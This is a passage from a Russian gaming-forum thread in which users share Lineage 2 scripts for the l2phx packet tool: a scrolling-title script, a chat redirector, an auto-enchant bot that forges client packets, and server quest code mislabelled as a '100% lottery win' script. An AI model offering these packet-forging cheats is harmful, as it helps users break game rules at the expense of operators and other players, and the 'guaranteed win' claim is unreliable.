buf:=buf + hstr('01 00 00 00'); ///9- али // 3-пати // 01 - общий
sendtoserverex('ник');
end;
x:=x+1;
if x>= 19 then x:=19; //ЭТА СТРОКА ДЛЯ ТОГО ЧТОБ XELAT заценил глубину мысли! незнаю я синтаксиса-) и учиться лень-) там какойто АНТИЛ надо применять-) а зачем? и так все пашет.
end;


procedure Free; //Вызывается при выключении скрипта
begin
timer1.Free;
end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin

end.
Добавлено через 33 минуты
Скрипт для 100% выигрыша в лотерею в квесте Seductive Whispers

Описание квеста


Код:
Название квеста: Seductive Whispers 
Выполнять обязательно группой 
Можно повторно взять квест 
Расы: Все 
Классы: Все 
Требуемый левел: 50 
Где брать квест: Town of Aden 
У кого брать квест: Blacksmith Wilbert 
Награда: Adena, или armor/weapon scrolls, или 60% B weapon receipes 

Описание: 
Кузнец Вилберт желает играть с вами в новую модную игру, но говорит, что для игры вам понадобятся бусинки. Вам нужно раздобыть их, чтобы начать играть. 
1. Поговорите с Blacksmith Wilbert в кузнице Адена и возьмите задание. 
2. Выбивайте итемы в Cemetry, Ancient Battleground, Fields of Massacre. Для одной игры нужно собрать 50 Spirit Beads. 
3. Накопив минимум 50 бусин, вернитсь к Blacksmith Wilbert, чтобы играть. 
Правила игры: 
Когда вы скажете гному, что хотите играть с ним, просто кликайте по ссылке, чтобы тянуть карту, до тех пор, пока он не скажет вам, выиграли вы или проиграли. Если вы проиграли, то не получите ничего. Если выиграете, то можете или взять награду, или продолжить тянуть карты. Если вы отказывайтесь от предложенной награды и продолжите играть, то награда увеличивается. Вы можете попытать счастья получить более ценный приз, но, если в этом случае проиграете, то не получите ни его, ни то, что гном предлагал ранее. 
Награда: 
1 выигрышный раунд - 40,000а 
2 выигрышных раунда - 80,000а 
3 выигрышных раунда - 110,000а, EWD 
4 выигрышных раунда - 199,000а, EWC 
5 выигрышных раундов - 388,000а, 60% рецепт на B-grade weapon 
6 выигрышных раундов - 675,000а, 1 кусок на B-grade weapon 
7 выигрышных раундов - 1,284,000а, 2 EWB, 2 EAB 
8 выигрышных раундов - 2,384,000а, 1 EWA, 2 EAA
Сам скрипт

Код:
# by minlexx
import sys
from net.sf.l2j.gameserver.model.quest import State
from net.sf.l2j.gameserver.model.quest import QuestState
from net.sf.l2j.gameserver.model.quest.jython import QuestJython as JQuest

qn = "663_SeductiveWhispers"

# Npc
WILBERT = 30846

MOBS = [20674, 20678, 20954, 20955, 20956, 20957, 20958, 20959, 20960, 20961, 20962, 20974, 20975, 20976, 20996, 20997, 20998, 20999, 21001, 21002, 21006, 21007, 21008, 21009, 21010]

# Quest Item
SPIRIT_BEAD = 8766

# Drop chance, win chance need check for correct values
DROP_CHANCE = 80
WIN_ROUND_CHANCE = 66

# Reward items
ADENA = 57
EWA = 729 # Scroll: Enchant Weapon A
EAA = 730 # Scroll: Enchant Armor A
EWB = 947 # Scroll: Enchant Weapon B
EAB = 948 # Scroll: Enchant Armor B
EWC = 951 # Scroll: Enchant Weapon C
EWD = 955 # Scroll: Enchant Weapon D

# ====== Rewards -  B grade 60% weapon recipes & keymats =========
# These are just most popular B weapons, need retail check here
# Blunts: Art of Battle Axe, Staff of Evil Spirits (2)
# Bows: Bow of Peril (1)
# Daggers: Demon Dagger, Kris (2)
# Fists: Bellion Cestus (1)
# Polearms: Lance (1)
# Swords: Great Sword, Keshanberk, Sword of Valhalla (3)
# ====== Total: 10; In that order they come in a set below: ======
B_RECIPES = [4963, 4966, 4967, 4968, 5001, 5003, 5004, 5005, 5006, 5007]
B_KEYMATS = [4101, 4107, 4108, 4109, 4115, 4117, 4118, 4119, 4120, 4121]

class Quest (JQuest) :

 def __init__(self,id,name,descr):
   JQuest.__init__(self,id,name,descr)
   self.questItemIds = []

 def onEvent (self,event,st) :
   htmltext = event
   if event == "Wilbert_IWantToPlay.htm": # quest accepted
     st.setState(State.STARTED)
     st.playSound("ItemSound.quest_accept")
     st.set("cond","1")
     st.set("round","0")
   elif event == "Wilbert_ExitQuest.htm": # quest finished
     st.playSound("ItemSound.quest_finish")
     st.exitQuest(1)
   elif event == "Wilbert_IWantToPractice.htm": # practice start dialog
     beads=st.getQuestItemsCount(SPIRIT_BEAD)
     if beads<1:
       htmltext = "Wilbert_Practice_NotEnoughBeads.htm"
   elif event == "Wilbert_Practice.htm": # "try luck" pressed (Practice)
     beads=st.getQuestItemsCount(SPIRIT_BEAD) # get beads count, it must be > 1
     if beads<1:
       htmltext = "Wilbert_Practice_NotEnoughBeads.htm"
     else:
       st.takeItems(SPIRIT_BEAD,1) # take one bead as payment for luck test
       random=st.getRandom(100)
       if random<WIN_ROUND_CHANCE: # random value is in range [0..WIN_ROUND_CHANCE]
         htmltext = "Wilbert_PracticeWon.htm"
       else: # lose practice 
         htmltext = "Wilbert_PracticeLost.htm"
   elif event == "Wilbert_LetsPlay.htm": # "Let's play" pressed
     beads=st.getQuestItemsCount(SPIRIT_BEAD)
     if beads<50:
       htmltext = "Wilbert_Practice_NotEnoughBeads.htm"
     else:
       htmltext = "Wilbert_PlayRound1.htm"
       st.set("round","0")
   elif event == "Wilbert_PullCard.htm": # "Pull first or next card" pressed
     round=st.getInt("round")
     beads=st.getQuestItemsCount(SPIRIT_BEAD)
     if beads<50 and round == 0: # check for 50 beads when game just starts only (round=0)
       htmltext = "Wilbert_Practice_NotEnoughBeads.htm"
     else:
       if round == 0: # take 50 beads when game just starts only (round=0)
         st.takeItems(SPIRIT_BEAD,50)
       random=st.getRandom(100)
       if random>WIN_ROUND_CHANCE: # random value is in range [WIN_ROUND_CHANCE..100]
         htmltext = "Wilbert_PlayLose.htm"
         st.set("round","0") # restart game
       else: # next round won
         round = round + 1
         htmltext = st.showHtmlFile("Wilbert_PlayWin.htm").replace("NROUND", str(round))
         if round == 1:
           htmltext = htmltext.replace("MYPRIZE","40,000 adena")
         if round == 2:
           htmltext = htmltext.replace("MYPRIZE","80,000 adena")
         if round == 3:
           htmltext = htmltext.replace("MYPRIZE","110,000 adena, D-grade Enchant Weapon Scroll")
         if round == 4:
           htmltext = htmltext.replace("MYPRIZE","199,000 adena, C-grade Enchant Weapon Scroll")
         if round == 5:
           htmltext = htmltext.replace("MYPRIZE","388,000 adena, 1 recipe for a B-grade weapon")
         if round == 6:
           htmltext = htmltext.replace("MYPRIZE","675,000 adena, 1 essential ingredient for a B-grade weapon")
         if round == 7:
           htmltext = htmltext.replace("MYPRIZE","1,284,000 adena, 2 B-grade Enchant Weapon Scrolls, 2 B-grade Enchat Armor Scrolls")
         if round == 8: # reached round 8; give prizes and restart game
           round = 0
           st.giveItems(ADENA,2384000)
           st.giveItems(EWA,1) # Scroll: Enchant Weapon A
           st.giveItems(EAA,2) # Scroll: Enchant Armor A
           htmltext = "Wilbert_PlayWonRound8.htm"
         st.set("round",str(round))
   elif event == "Wilbert_TakePrize.htm": # player won round and wants to stop game and take prize
     round=st.getInt("round")
     if round == 0: # player did not win any round but wants to take prize? O_o
       htmltext = "<html><body>You did not win any round! No prizes.</body></html>"
       return htmltext
     if round > 8: # some bug or hack?
       st.set("round","0")
       htmltext = "<html><body>Round cannot be > 8 !!!</body></html>"
       return htmltext
     st.set("round","0") # first set round to 0 - game ended.
     htmltext = "Wilbert_PrizeTaken.htm"
     # give prize depending on current round won
     if round == 1:
       st.giveItems(ADENA,40000)
     elif round == 2:
       st.giveItems(ADENA,80000)
     elif round == 3:
       st.giveItems(ADENA,110000)
       st.giveItems(EWD,1) # Scroll: Enchant Weapon D
     elif round == 4:
       st.giveItems(ADENA,199000)
       st.giveItems(EWC,1) # Scroll: Enchant Weapon C
     elif round == 5:
       st.giveItems(ADENA,388000)
       # 60% B-weap. rec number is random
       st.giveItems(B_RECIPES[st.getRandom(len(B_RECIPES))], 1)
     elif round == 6:
       st.giveItems(ADENA,675000)
       # B-weap. key number is random
       st.giveItems(B_KEYMATS[st.getRandom(len(B_KEYMATS))], 1)
     elif round == 7:
       st.giveItems(ADENA,1284000)
       st.giveItems(EWB,2) # Scroll: Enchant Weapon B
       st.giveItems(EAB,2) # Scroll: Enchant Armor B
     # for round 8 prize is automatically when player wins 8 round
   return htmltext

 def onTalk (self,npc,player):
   st = player.getQuestState(qn)
   htmltext = "<html><body>You are either not on a quest that involves this NPC, or you don't meet this NPC's minimum quest requirements.</body></html>"
   if not st : return htmltext
   npcId = npc.getNpcId()
   id = st.getState()
   # first talk to Wilbert
   if npcId == WILBERT and id == State.CREATED:
       if player.getLevel() >= 50 : # check player level
           htmltext = "Wilbert_start.htm"
       else:
           htmltext = "<html><body>This quest is for characters above level 50 only.</body></html>"
           st.exitQuest(1)
   # talk to Wilbert when quest already in progress
   elif npcId == WILBERT and id == State.STARTED :
       htmltext = "Wilbert_QuestInProgress.htm"
   return htmltext
 
 def onKill(self,npc,player,isPet):
   st = player.getQuestState(qn)
   if not st : return
   if st.getState() != State.STARTED : return
   npcId = npc.getNpcId()
   if npcId in MOBS:
     if st.getRandom(100) < DROP_CHANCE:
       st.giveItems(SPIRIT_BEAD,1)
       st.playSound("ItemSound.quest_itemget")
   return

QUEST = Quest(663,qn,"Seductive Whispers")

QUEST.addStartNpc(WILBERT)
QUEST.addTalkId(WILBERT)

for mobId in MOBS:
  QUEST.addKillId(mobId)

Последний раз редактировалось BlackWinG; 24.07.2010 в 01:08. Причина: Добавлено сообщение
  Ответить с цитированием
Пользователь сказал cпасибо:
f1z1k (05.08.2010)
Старый 24.07.2010, 02:16   #55
 Пехотинец
Аватар для firefoxi
 
firefoxi скоро будет известенfirefoxi скоро будет известенfirefoxi скоро будет известенfirefoxi скоро будет известенfirefoxi скоро будет известен
Регистрация: 26.04.2010
Сообщений: 61
Популярность: 494
Сказал(а) спасибо: 384
Поблагодарили 141 раз(а) в 65 сообщениях
Отправить сообщение для firefoxi с помощью ICQ Отправить сообщение для firefoxi с помощью Skype™
 
По умолчанию Re: Скрипты для l2phx

бегуший титул
тестил на интерлюде все норм пашет
(может было хз если что сори)
Код:
// Бегущая строка в титуле, ©Br1nk v0.2
// пишем rt в пати чате для включения и выключения 

var 
title, temp, titleoff: string; 
activated, mult, safemode: integer; 
tmr: TTimer; 

procedure Init; //Вызывается при включении скрипта 
begin 
title := 'Padre JIoX A MHe IIoX '; // текст титула
titleoff := '~KPEBEDKO~'; 
activated := 0; // Определяет, включается ли бегущая строка сразу при запуске скрипта или только после введения команды rt в патичат 
safemode := 1; // безопасный режим, стандартная длина титула. Если вы играете на кривой яве, поставьте 0, это даст вам более длинный титул, соответственно выглядит пижже..) 
tmr := TTimer.Create(nil); 
tmr.Interval := 350; // Частота обновления (мс)
tmr.Enabled := False; 
tmr.OnTimer := @Tick; 
mult := 1; // Определяет на сколько букв сдвигается строка в титуле при обновлении 
end; 

procedure Free; 
begin 
tmr.Free; 
SetTitle(titleoff); 
end; 

procedure Tick; 
begin 
temp := copy(title, 2 + mult, Length(title) - 1 - mult) + copy(title, 1, 1 + mult); 
title := temp; 
if safemode then 
SetTitle(Copy(temp, 0, 16)) 
else 
SetTitle(temp); 
end; 

procedure Announce(text:string); // for debug purposes 
begin 
buf := #$4A; 
WriteD(0); 
WriteD(10); 
WriteS(''); 
WriteS(text); 
SendToClient; 
end; 

procedure SetTitle(text: string); 
begin 
buf := HStr('55'); 
WriteS(ConnectName); 
WriteS(text); 
WriteD(0); 
SendToServer; 
end; 

begin 
if FromClient and (pck=HStr('38 72 00 74 00 00 00 03 00 00 00')) then 
begin 
if (activated = 1) then 
begin 
activated := 0; 
SetTitle(titleoff); 
Announce('Title script powered off.'); 
end 
else 
activated := 1; 
pck := ''; 
end; 
if (activated = 1) then 
tmr.Enabled := True 
else 
tmr.Enabled := False; 
end.
________________
icq-8144095
skype-forze90
[Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Пользователь сказал cпасибо:
Animaz (20.08.2010)
Старый 25.07.2010, 12:51   #56
 Разведчик
Аватар для Syava~
 
Syava~ никому не известный тип
Регистрация: 27.06.2010
Сообщений: 3
Популярность: 12
Сказал(а) спасибо: 9
Поблагодарили 1 раз в 1 сообщении
 
Post Re: Скрипты для l2phx

PHP код:
'<button value=" Hero " action="bypass  Hero"     width=80 height=15 back="sek.cbui94"  fore="sek.cbui92">'+
 
'<img src="L2UI.SquareWhite" width=60 height=1>'+
 
'<img src="L2UI.Squarewidth" width=60 height=4>'
 
'<font color="LEVEL"> mks </font><br>'+
 
'<img src="L2UI.SquareWhite" width=60 height=1>'+
 
'<img src="L2UI.Squarewidth" width=60 height=4>'
 
'<button value=" стоп" action="bypass stop"       width=80 height=15 back="sek.cbui94"  fore="sek.cbui92">'+
 
'<img src="L2UI.SquareWhite" width=60 height=1>'+
 
'<img src="L2UI.Squarewidth" width=60 height=4>'
 
'<font color="LEVEL">TAMBIK</font><br>'+
 
'</center></body></html>';
//==========================================

        
var
    
Bypass:string
    
autoText:Boolean;
    
TextType:integer

//==========================================
//  ShowHTML(HTML);
Procedure ShowHTML_html string );
begin
  buf
:=#$19;
  
WriteD(5);
  
WriteS(_HTML);
  
SendToClientEx(myname);
   
end;
//========================
procedure ActionUse//2=PM, 3=Party, 4=Clan, 8=Trade, 9=Alli, 17=Hero
 
begin
     Bypass
:=ReadS(2);
     case 
Bypass of
 
'Trade':begin  autoText:=true;TextType:=8end;//Trade
 
'Party':begin  autoText:=true;TextType:=3end;//Party
 
'Clan':begin   autoText:=true;TextType:=4end;//Clan
 
'Alli':begin   autoText:=true;TextType:=9end;//Alli
 
'PM':begin     autoText:=true;TextType:=0end;//PM
 
'Hero':begin   autoText:=true;TextType:=17;end;//Hero
 
'stop':begin   autoText:=false;TextType:=0;end;
 
end;
end;
//-----------------------------------------
procedure Init;
begin
TextType
:=0;
autoText:=false;
end;
procedure Free;
begin

end
;
//Tип: 0x4A (CreatureSay)
//Pазмер: 83+2
//Время прихода: 12:35:56:375
//0002 d  ObjectID: 268899150 (0x1007134E)
//0006 d  TextType: 15 (0x0000000F)
//000A s  CharName: MaFaca
//0018 s  Text: ВТТ ВАШ СЕПОР С СА, ПРЕДЛЫ ПМ
 //=========================
begin
//не обрабатываем пустые пакеты
  
if pck='' then exit; 
 if 
FromClient and (pck[1]=#$34) and (ReadD(2)=06) then begin ShowHTML(HTML); pck:='';exit;end; 
 
if FromClient and (pck[1]=#$23) then begin ActionUse; pck:='';exit;end; //
 
if FromServer and autoText and (pck[1]=#$4A) and (ReadD(6)=TextType) then begin
      
buf:=pck;
     
WriteD(15,6);
     
pck:=buf;
   
end
Простенький скрипт для "глухих", перенаправляет сообщения))
немного добавил..
тестил на IT. Gracia Final

Добавлено через 5 минут
Авто заточка для любых хроник 100% рабочия


PHP код:
//  для любых хроник
//  в пати чат пишем уровень заточки
//  можно менять в процесе работы скрипта
//  заточить один раз чтоб запомнить чем и что точить
//  точить для запоминания  по одному предмету 
//  если будите точить   разные предметы
//  предметы должны  соответствовать применяемому skrol
//  СТАРТ нажать соцдействие ДА
//  СТОП нажать соцдействие  НЕТ
//  включить системные сообщения соцдействие - приветствие \ hello 
//  выключить системные сообщения соцдействие - победа \ victory 
//  дальше скрипт сам точит до указаного уровня заточки
//  все предметы одинаковые с первыми  заточеными
//  точит первый предмет до максима потом второй и т.д
//  т.е если вы заточили несколько разных предметов
//  одного класса армор или веапон они будут точиться
//  АВТОР ==>>>> TAMBIK
program Enchant_gracia;
   const
   
myname='TAMBIK'//<<== пишем свой НИК
   
max=140;//<<== колличество ячеек в рюкзаке
      
var
    
BaseItems:array[1..max,1..11of integer;
    
BaseID:array[1..maxof integer;
    
Timer01TTimer;
    
Timer02TTimer;
    
Timer03TTimer;
    
flag,start,select,selectID,autoMsg:Boolean;
    
autostart:Boolean;
    
mytext:string
    
ListSize,ItemEnch:word
    
textID,itemID:integer;
    
enchantObjectID:integer;
    
enchantID,skrolObjectID:integer
    
ItemOID,objectOIDinteger;  
    
sumskrol,sumitemIDinteger;
    
key,x,y,ii:integer;
    
maxlvlinteger;
    
GetiD:integer;
    
skrolID,skrolObj:integer;
    
t,l,d:integer;
//-----------------------------------------
procedure SendMsg2(msg:string);
begin 
if autoMsg  then begin
  buf
:=#$4A;
  
WriteD(0);
  
WriteD(3);
  
WriteS('');
  
WriteS(msg);
  
SendToClientEx(myname);
end;
end;
//===========================================
procedure Resultmaxlvl;
var
  
i:integer;
begin
 
if FromClient and (pck[1]=#$49) then begin
    
i:=2;
    
mytext:=ReadS(i);
    
textID:=ReadD(i);
 if (
textID=3)  then begin
     maxlvl
:=StrToInt(mytext);
SendMsg2'  установлен Уровень Заточки: '+IntToStr(maxlvl)+'' ); 
  
pck:='';
 exit;
end;
end;
end;
//.............................................................................. 
procedure ItemList;
var
  
ijkinteger;
  
count,x:integer
 
begin
   count
:=0;
   
x:=0;
   
y:=0;
   
j:=4//пропускаем дo ListSize
  
ListSize:=ReadH(j); 
  for 
i:=1 to ListSize do
  if (
i<=ListSizethen begin
      BaseItems
[i,1]:=ReadH(j);  //ItemType1- 1:одето броня. 0:бижа. 4:в рюкзаке
      
BaseItems[i,2]:=ReadD(j);  //ObjectID
      
BaseItems[i,3]:=ReadD(j);  //ItemID
      
BaseItems[i,4]:=ReadD(j);  //LocationSlot
      
BaseItems[i,5]:=ReadD(j);  //  Amount: 
      
BaseItems[i,6]:=ReadD(j);  //  Amount: 
      
BaseItems[i,7]:=ReadH(j);//ItemType2
      
BaseItems[i,8]:=ReadH(j);// CustomType1
      
BaseItems[i,9]:=ReadH(j);//isEquipped: 
      
BaseItems[i,10]:=ReadD(j);//BodyPart
      
BaseItems[i,11]:=ReadH(j);//EnchantLevel
             
inc(x); // счетчик 
    
count:=round((Length(pck)-5) / ListSize);// длина блока
         //y := пропускаем до следущего блока
    
y:=count*x-(j-6);// . 6= длина ListSize + 4 байта пропуска в начале пакета
            
inc(j,y); 
  
end else for k:=1 to 11 do BaseItems[i,k]:=0// забиваем нулями

if (skrolObjectID)  then begin
    sumskrol
:=Getitem(skrolID,3,5);
    
SendMsg2 ('   SKROL ... c  ID : '+IntToStr(skrolID)+' =  '+IntToStr(sumskrol)+' ШТ ');
     if 
start and (0<sumskrolthen  Timer01.enabled:=true;
     if (
sumskrol=0then  begin
                Timer01
.enabled:=false;
                
stopselectskrol;
       
SendMsg2 ('........ НЕДОСТАТОЧНО  SKROL........  ');
         
SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ ');
     
end;
  
end;
end;
//=============================
procedure EnchantResult;
  
begin
 
  end
;
//=============================
procedure InventoryUpdate;
var
 
Id,ObjId:integer;
begin 
   ObjId
:=ReadD(8); 
    
Id:=ReadD(12); 
SendMsg2 ('удален предмет Id : '+IntToStr(Id)+'  ObjectID: '+IntToStr(ObjId)+' ');
    
deleteBase;
 
end;
//=============================
procedure deleteBase;
var
  
i,j,k:integer;  
 
begin
    
for i:=1 to max do
 if (
BaseItems[i,2]=enchantIDthen begin
      BaseItems
[i,1]:=0;
      
BaseItems[i,2]:=0//ObjectID  
      
BaseItems[i,3]:=0;  //ItemID
      
BaseItems[i,4]:=0;  
      
BaseItems[i,5]:=0
      
BaseItems[i,6]:=0
      
BaseItems[i,7]:=0;
      
BaseItems[i,8]:=0;
      
BaseItems[i,9]:=0;
      
BaseItems[i,10]:=0;
      
BaseItems[i,11]:=0;
               
inc(j,y);  
 
end else for k:=1 to 11 do BaseItems[i,k]:=0// забиваем нулями
end;
//===========================================
//         
//===========================
function Getitem(Obj,up,down:integer): integer
var 
  
iinteger;
begin
 Result
:= 0//В начале у нас 0
  
for i:=1 to max do
    if (
BaseItems[i,up]=Objthen begin
      Result
:=BaseItems[i,down];
   
end;
end;
//===========================
function Getsumitem(Obj,up,down:integer): integer
var 
  
iinteger;
begin
 Result
:= 0//В начале у нас 0
  
for i:=1 to max do
    if (
BaseItems[i,up]=Objthen begin
      Result
:=Result+BaseItems[i,down];
   
end;
end;
//=================================
//добавляем в базу ID предмета
procedure addIDtoarray(ItemOID:integer);
 
begin
  SendMsg2
'------------------------------------- ' );
  
SendMsg2 (' добавить в базу для заточки  ID : '+IntToStr(ItemOID)+'  Предмета    ');
  
SendMsg2(' .................' );
   
flag:=false
   for 
ii:=1 to max do 
 if  (
BaseID[ii]=ItemOIDthen begin // текущий ID уже есть в массиве,
     
flag := true;
     
sumitemID:=Getsumitem(ItemOID,3,5);//счет скоко предметов
     
SendMsg2 (' предмет в базе  есть с ID : '+IntToStr(ItemOID)+'  =  '+IntToStr(sumitemID)+' ШТ ');
     
SendMsg2'------------------------------------- ' );
     Break;  
// прерываем дальнейший перебор массива.
     
end;
 if (
flag falsethen begin
         
for ii:=1 to max do 
     if (
BaseID[ii]=0then begin // добавим ID  в массив,
     
BaseID[ii]:=ItemOID;
  
sumitemID:=Getsumitem(ItemOID,3,5);//счет скоко предметов
  
SendMsg2 (' Добавлен  Предмет с ID :  '+IntToStr(ItemOID)+'  =  '+IntToStr(sumitemID)+'  ШТ  ');
  
SendMsg2'------------------------------------- ' );
 Break;  
// прерываем дальнейший перебор массива.
 
end;
end;
end;
//=============================
procedure ChooseInventory;
begin

  
if (itemID>0then  begin
            objectOID
:=GetObjectID(itemID);//находим по ItemID  предмет с ObjectID
      
if (objectOID=0then begin
               stopselectskrol
;
               
SendMsg2 ('  предметов c ID : '+IntToStr(itemID)+' для заточки НЕТ ! ! ! ! ');
              for 
ii:=1 to max do 
           if  (
BaseID[ii]=itemIDthen begin
                  BaseID
[ii]:=0;
          
SendMsg2 ('    ..... ПОИСК ______ ПРЕДМЕТА..... ');
                     
GetItemID ;
              Break;  
// прерываем дальнейший перебор массива.
                     
end;
  if (
itemID=0then  begin
       SendMsg2 
('___НЕТ ПРЕДМЕТОВ ДЛЯ ЗАТОЧКИ___ ');
       
SendMsg2 ('    ___ О С Т А Н О В Л Е Н О ___ ');
            
stopselectskrol;
               
start:=false;
        
end;
   
end;
end;
end;

//=================================
//  GetiD:=GetItemID(itemID);//находим в базе ItemID предмет для Заточки
//находим ItemID предмета для Заточки в базе ItemID
procedure GetItemID ;
 
begin
 
if start  then begin
     
if (maxlvl=0)  then begin
                   SendMsg2 
('   неуказан уровень заточки ');
                 
stopselectskrol;
                   
SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ ');
                    
end;
  if (
maxlvl>0)  then begin
            itemID
:=0;
                 for 
ii:=1 to max do 
             if (
BaseID[ii]<>0then begin
                      itemID
:=BaseID[ii];
      
SendMsg2 (' НАШЛИ ПРЕДМЕТ для ЗАТОЧКИ с ID = '+IntToStr(itemID)+' ');
                    
Timer01.enabled:=true;
    Break;  
// прерываем дальнейший перебор массива.
end;
end;
end;
end;
//=================================
//находим enchantID предмета по  ItemID для заточки
function GetObjectID(itemID:integer) : integer;
var
  
i:integer;
begin
enchantID
:= 0;
  
ItemEnch:=0;  
  
Result:= 0;
   
SendMsg2('------------------------------' );
 if (
itemID>0then begin
      SendMsg2 
('    ищем ObjectID предмета с ID  :  ' +IntToStr(itemID)+' ');
    
SendMsg2('------------------------------' );
     for 
i:=1 to max do
 if (
BaseItems[i,3]= itemID) and (BaseItems[i,11]< maxlvlthen begin
     enchantID
:=BaseItems[i,2];
      
Result:=BaseItems[i,2];
     
ItemEnch:=BaseItems[i,11];
 
SendMsg2('   ..... найден предмет для заточки  ..... ');
 
SendMsg2(' ID  : '+IntToStritemID)+' и ObjectID : '+IntToStr(enchantID)+' заточен до : '+IntToStr(ItemEnch)+' ');
 
SendMsg2('------------------------------' );
     if (
enchantID>0then startselectEnch;
      Break;  
// прерываем дальнейший перебор массива.
   
end;
end;
 
end;
//==========================
procedure stopselectskrol;
begin
  buf
:=hstr('D04E00');
 
SendToServerEx(myname);
end;
//===================================
procedure OnTimer01(SenderTObject);
begin
  buf
:=#$19;
  
WriteD(skrolObjectID);
  
WriteD(0);
  
SendToServerEx(myname);
 
Timer01.enabled:=false;
   
end;
//--------------------------
procedure startselectEnch;
begin
   Timer02
.enabled:=true
 end
;
procedure OnTimer02(SenderTObject);
begin
   buf
:=hstr('D04C00');
   
WriteD(enchantID);
   
SendToServerEx(myname);
   
Timer02.enabled:=false;
   
Timer03.enabled:=true;
   
end;
procedure OnTimer03(SenderTObject);
begin 
   buf
:=#$5F;
   
WriteD(enchantID);
   
WriteD(0);
   
SendToServerEx(myname);
   
Timer03.enabled:=false;
  
SendMsg2('      .....    Точим Предмет    ..... ');
 
SendMsg2' ID :  '+IntToStr(itemID)+'  ObjectID : '+IntToStr(enchantID)+'  -  до  :  '+IntToStr(maxlvl)+' ' );
 
SendMsg2'_______________________________' );
 
end;
//-----------------------------------------
procedure Init;
begin
  t
:=0;l:=0;d:=0;
  
autostart:=false;
  
flag:=false;
  
selectID:=false;
  
autoMsg:=true
   
GetiD:=0;
   
sumskrol:=0;
   
objectOID:=0;
   
maxlvl:=0;
   
itemID:=0;
   
enchantID:=0;
   
ItemEnch:=0;
   
start:=false;
   
select:=false;
   
skrolObjectID:=0;
   
enchantObjectID:=0;
   
Timer01:=TTimer.Create(nil);
   
Timer01.OnTimer:=@OnTimer01;
   
Timer01.enabled:=false;
   
Timer01.interval:=400//<<== время  выбора свитка
 
   
Timer02:=TTimer.Create(nil);
   
Timer02.OnTimer:=@OnTimer02;
   
Timer02.enabled:=false;
   
Timer02.interval:=400//<<== время  выбора предмета

   
Timer03:=TTimer.Create(nil);
   
Timer03.OnTimer:=@OnTimer03;
   
Timer03.enabled:=false;
   
Timer03.interval:=3000//<<== время между заточкой  

 
SendMsg2'в пати чат пишем уровень заточки' );
 
SendMsg2'    заточить предметы один раз ! ! !' );
 
SendMsg2'  СТАРТ  соцдействие  ДА ' );
 
SendMsg2'  СТОП   соцдействие  НЕТ' );
 
SendMsg2('В К Л сообщения соцдействие-приветствие\hello  ' );
 
SendMsg2('ВЫКЛ  сообщения соцдействие-победа\victory   ' );
  
SendMsg2'------------------------------------- ' );
   
buf:=hstr('14');
   
SendToServerEx(myname);
  for 
ii:=1 to max do 
      
BaseID[ii]:=0;
 
end;
procedure Free;
begin
  Timer01
.free;
  
Timer02.free;
  
Timer03.free;
end;
//=========================
procedure RequestActionUse;
begin
case ReadD(2of
  12
:begin  autoMsg:=true;   pck:=''; exit; end
  
13:begin  autoMsg:=false;  pck:=''; exit; end
 
24:begin
   
if (autostart=falsethen SendMsg2'предмет незаточен или пакеты неприняты !' );
   if 
autostart  then begin
      SendMsg2
'     ! ! !   П О Е Х А Л И    ! ! !' );
      
SendMsg2'_______________________________' );
     
start:=true;
      
GetItemID ;
        
pck:='';
     exit;     
     
end;
     
end;
 
25:begin
     start
:=false;
     
enchantID:=0;
     
ItemEnch:=0;
     
Timer01.enabled:=false;
     
Timer02.enabled:=false;
     
Timer03.enabled:=false;
    
SendMsg2'         ! ! !   С Т О П   ! ! ! ' );
    
stopselectskrol;
    
pck:='';
    exit;     
   
end;
end;
end;

//=========
begin
//не обрабатываем пустые пакеты
  
if pck='' then exit; 
 if 
FromServer and (pck[1]=#$87) then EnchantResult;
 
if FromServer and (pck[1]=#$21) and (ReadH(4)=3)then InventoryUpdate;
 
if FromServer and (pck[1]=#$11) then ItemList;
 
if FromServer and (pck[1]=#$7C) then ChooseInventory;
 
if FromClient and (pck[1]=#$49) then Resultmaxlvl;
 
if FromClient and (pck[1]=#$56) then RequestActionUse;
 
begin
 
if (start=false) and FromClient then   
    
case pck[1of
 
#$19:begin 
      
t:=1;
    
skrolObjectID:=ReadD(2);
    
skrolID:= Getitem(skrolObjectID,2,3);//находим по ObjectID скрол с ItemID
    
SendMsg2(' .................' );
    
SendMsg2('   активирован SKROL  ID : '+IntToStr(skrolID)+' ' );
    
SendMsg2(' .................' );
        
buf:=hstr('14');
        
SendToServerEx(myname);
     
end;
 
#$D0:if  ReadH(2)=76 then  begin
       
l:=1;
       
SendMsg2('    окно выбора предмета ' );
       
SendMsg2(' .................' );
     
end;
 
#$5F:begin
       
d:=1;
    
enchantObjectID:=ReadD(2);
    if  (
t=1) and (l=1) and (d=1then begin
        autostart
:=true;
       
ItemOID:= Getitem(enchantObjectID,2,3);//находим по ObjectID предмет с ItemID
       
SendMsg2 (' заточен предмет  c  ID  :  '+IntToStr(ItemOID)+'  ');
       
SendMsg2(' .................' );
       
addIDtoarray(ItemOID);//добавляем в базу ID предмета
       
stopselectskrol;
      
end;
     
end;
   
end;
end;
end
Добавлено через 19 минут
для лоу рейтов
Скрипты для валкера


Первая профа Human Wizard
Надо немного денег, и сое штук 10.
Не предусмотрено погибель чара. Так же цены могут не много не совподать
[Ссылки могут видеть только зарегистрированные пользователи. ]


Trade with Ivory Tower
Скрипт на выполнение даркэльфийского грибного квеста.
Запускать скрипт на даркэльфийской территории или в городу (у нубигайда).
В скрипте нет проверок на перегрузку и продажи хлама.
[Ссылки могут видеть только зарегистрированные пользователи. ]


Скрипт на прохождение первой профы на Scaveneger'а. Два скрипта. Сначало первый, потом второй.
[Ссылки могут видеть только зарегистрированные пользователи. ]

Последний раз редактировалось Syava~; 25.07.2010 в 13:11. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 08.08.2010, 02:56   #57
 Разведчик
Аватар для Markulus
 
Markulus никому не известный тип
Регистрация: 05.02.2010
Сообщений: 2
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Скрипты для l2phx

везде видел упоминание о скрипте на авто рес.. а может кто выложит?
  Ответить с цитированием
Старый 08.08.2010, 17:53   #58
 Разведчик
Аватар для MyHanD's
 
MyHanD's вызывает надежду
Регистрация: 04.08.2010
Сообщений: 22
Популярность: -34
Сказал(а) спасибо: 24
Поблагодарили 16 раз(а) в 13 сообщениях
 
По умолчанию Re: Скрипты для l2phx

Const
